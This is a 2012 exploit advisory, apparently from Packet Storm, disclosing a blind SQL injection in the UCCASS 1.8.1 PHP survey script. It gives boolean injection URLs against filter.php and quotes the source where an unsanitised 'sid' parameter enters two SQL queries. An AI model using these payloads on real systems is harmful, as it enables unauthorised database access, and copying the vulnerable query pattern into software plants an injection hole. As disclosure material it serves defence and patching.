what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

UCCASS 1.8.1 Blind SQL Injection

UCCASS 1.8.1 Blind SQL Injection
Posted Jun 25, 2012
Authored by dun

UCCASS versions 1.8.1 and below suffer from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | b8c072201969e215c928967dd018fca97955e7ebb45ed7b5871beabe68f2e728

UCCASS 1.8.1 Blind SQL Injection

Change Mirror Download
:::::::-.   ...    ::::::.    :::.
;;, `';, ;; ;;;`;;;;, `;;;
`[[ [[[[' [[[ [[[[[. '[[
$$, $$$$ $$$ $$$ "Y$c$$
888_,o8P'88 .d888 888 Y88
MMMMP"` "YmmMMMM"" MMM YM

[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-06-22 ]
#################################################################
# [ UCCASS <= v1.8.1 ] Blind SQL Injection Vulnerability #
#################################################################
#
# Script: "The Unit Command Climate Assessment and Survey System (UCCASS) (pronounced yoo-kas)
# is a PHP based survey script that allows you to create online surveys..."
#
# Vendor: http://sourceforge.net/projects/uccass/
# Download: http://sourceforge.net/projects/uccass/files/latest/download
#
################################################################
#
# [SQL]
#
# Versions affected: v1.8.1 and previous
#
# Vuln: http://localhost/uccass/filter.php?sid=-1 or 1=1-- (true)
# http://localhost/uccass/filter.php?sid=-1 or 1=2-- (false)
#

File: ./uccass/filter.php
...cut...
<?php

include('classes/main.class.php');
include('classes/results.class.php'); // 1 definition of filter function

$survey = new UCCASS_Results;

echo $survey->com_header("Filter Survey Results");

echo $survey->filter($_REQUEST['sid']); // 2 unfiltered $_REQUEST['sid'] var

echo $survey->com_footer();

?>
...cut...

File: ./uccass/classes/results.class.php ( lines: 441-479 )
...cut...
function filter($sid)
{
$x = 0;
$qid_list = '';

foreach($_REQUEST['select_qid'] as $qid)
{ $qid_list .= (int)$qid . ','; }
$qid_list = substr($qid_list,0,-1);

$query = "SELECT at.aid, q.qid, q.question, s.survey_text_mode
FROM {$this->CONF['db_tbl_prefix']}answer_types at,
{$this->CONF['db_tbl_prefix']}questions q, {$this->CONF['db_tbl_prefix']}surveys s
WHERE q.aid = at.aid AND q.sid = $sid AND q.qid IN ($qid_list) AND at.type IN ('MM','MS') // 3 [SQL]
AND q.sid = s.sid
ORDER BY q.page, q.oid";
$rs = $this->db->Execute($query);

$old_aid = '';
if($rs === FALSE) { $this->error("Error selecting filter questions: " . $this->db->ErrorMsg()); }
if($r = $rs->FetchRow())
{
do
{
$question['question'][] = nl2br($this->SfStr->getSafeString($r['question'],$r['survey_text_mode']));
$question['encquestion'][] = $this->SfStr->getSafeString($r['question'],SAFE_STRING_TEXT);
$question['aid'][] = $r['aid'];
$question['qid'][] = $r['qid'];
$temp = $this->get_answer_values($r['aid'],BY_AID,$r['survey_text_mode']);
$question['value'][] = $temp['value'];
$question['avid'][] = $temp['avid'];
$x++;
}while($r = $rs->FetchRow());
$this->smarty->assign("question",$question);
}
$rs = $this->db->Execute("SELECT MIN(entered) AS mindate,
MAX(entered) AS maxdate FROM
{$this->CONF['db_tbl_prefix']}results WHERE sid = $sid"); // 4 [SQL]
if($rs === FALSE) { $this->error("Error selecting min/max survey dates: " . $this->db->ErrorMsg()); }
$r = $rs->FetchRow();
...cut...

### [ dun / 2012 ] #####################################################

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    14 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close